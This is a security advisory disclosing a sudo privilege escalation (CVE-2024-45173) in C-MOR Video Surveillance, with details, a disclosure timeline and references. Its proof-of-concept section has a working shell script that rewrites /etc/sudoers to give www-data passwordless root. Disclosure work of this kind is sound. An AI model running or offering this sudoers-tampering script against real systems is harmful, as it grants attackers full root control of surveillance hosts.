C-MOR Video Surveillance 5.2401 / 6.00PL01 Privilege Escalation

Advisory ID: SYSS-2024-027
Product: C-MOR Video Surveillance
Manufacturer: za-internet GmbH
Affected Version(s): 5.2401, 6.00PL01
Tested Version(s): 5.2401, 6.00PL01
Vulnerability Type: Improper Privilege Management (CWE-269)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2024-04-05
Solution Date: -
Public Disclosure: 2024-09-04
CVE Reference: CVE-2024-45173
Authors of Advisory: Chris Beiter, Frederik Beimgraben,
and Matthias Deeg

Overview:

The software product C-MOR is an IP video surveillance system.

The manufacturer describes the product as follows:

"With C-MOR video surveillance, it is possible to check your  
surveillance over network and the Internet. You can access the live  
view as well as previous recordings from any PC or mobile device.  
C-MOR is managed and controlled over the C-MOR web interface.  
IP settings, camera recording setup, user rights and so on are set  
over the web without the installation of any software on the  
client."[1]

Due to improper privilege management concerning sudo privileges, C-MOR  
is vulnerable to a privilege escalation attack.

Vulnerability Details:

By analyzing the C-MOR system with shell access (see SYSS-2024-026[3]),
it was found that the Linux user “www-data” running the C-MOR web
interface can execute some OS commands as root via sudo without having
to enter the root password.

These commands, for example, include "cp", "chown", and "chmod", which
enable an attacker to modify the system’s sudoer file in order to
execute all commands with root privileges.

Thus, it is possible to escalate the limited privileges of the user
“www-data” to root privileges.

Proof of Concept (PoC):

For demonstrating a privilege escalation attack with shell access as  
the user "www-data", the following shell script was uploaded to the  
C-MOR system and executed:

$ cat privesc.sh  
sudo cp /etc/sudoers /home/cam  
sudo chown www-data /home/cam/sudoers  
sudo chmod 777 /home/cam/sudoers  
echo 'www-data        ALL = (ALL) NOPASSWD: ALL' >> /home/cam/sudoers  
sudo chmod 440 /home/cam/sudoers  
sudo chown root /home/cam/sudoers  
sudo cp /home/cam/sudoers /etc/sudoers  
sudo rm /home/cam/sudoers

Solution:

There is no fix for this security issue.

Disclosure Timeline:

2024-04-05: Vulnerability reported to manufacturer  
2024-04-05: Manufacturer acknowledges receipt of security advisories  
2024-04-08: Exchange regarding security updates and disclosure timeline  
2024-05-08: Further exchange concerning security updates and disclosure  
             timeline; public release of all security advisories  
             scheduled for release of C-MOR Video Surveillance version 6  
2024-05-10: Release of C-MOR software version 5.30 with security updates  
             for some reported security issues  
2024-07-19: E-mail to manufacturer concerning release date of C-MOR  
             Video Surveillance version 6; response with planned  
             release date of 2024-08-01  
2024-07-30: E-mail from manufacturer with further information  
             concerning security fixes  
2024-07-31: Release of C-MOR software version 6.00PL1  
2024-09-04: Public release of security advisory

References:

[1] Product website for C-MOR Video Surveillance
https://www.c-mor.com/
[2] SySS Security Advisory SYSS-2024-027

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-027.txt
[3] SySS Security Advisory SYSS-2024-026

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-026.txt
[4] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy/

Credits:

This security vulnerability was found by Chris Beiter, Frederik  
Beimgraben.

Disclaimer:

The information provided in this security advisory is provided “as is”
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

Copyright:

Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en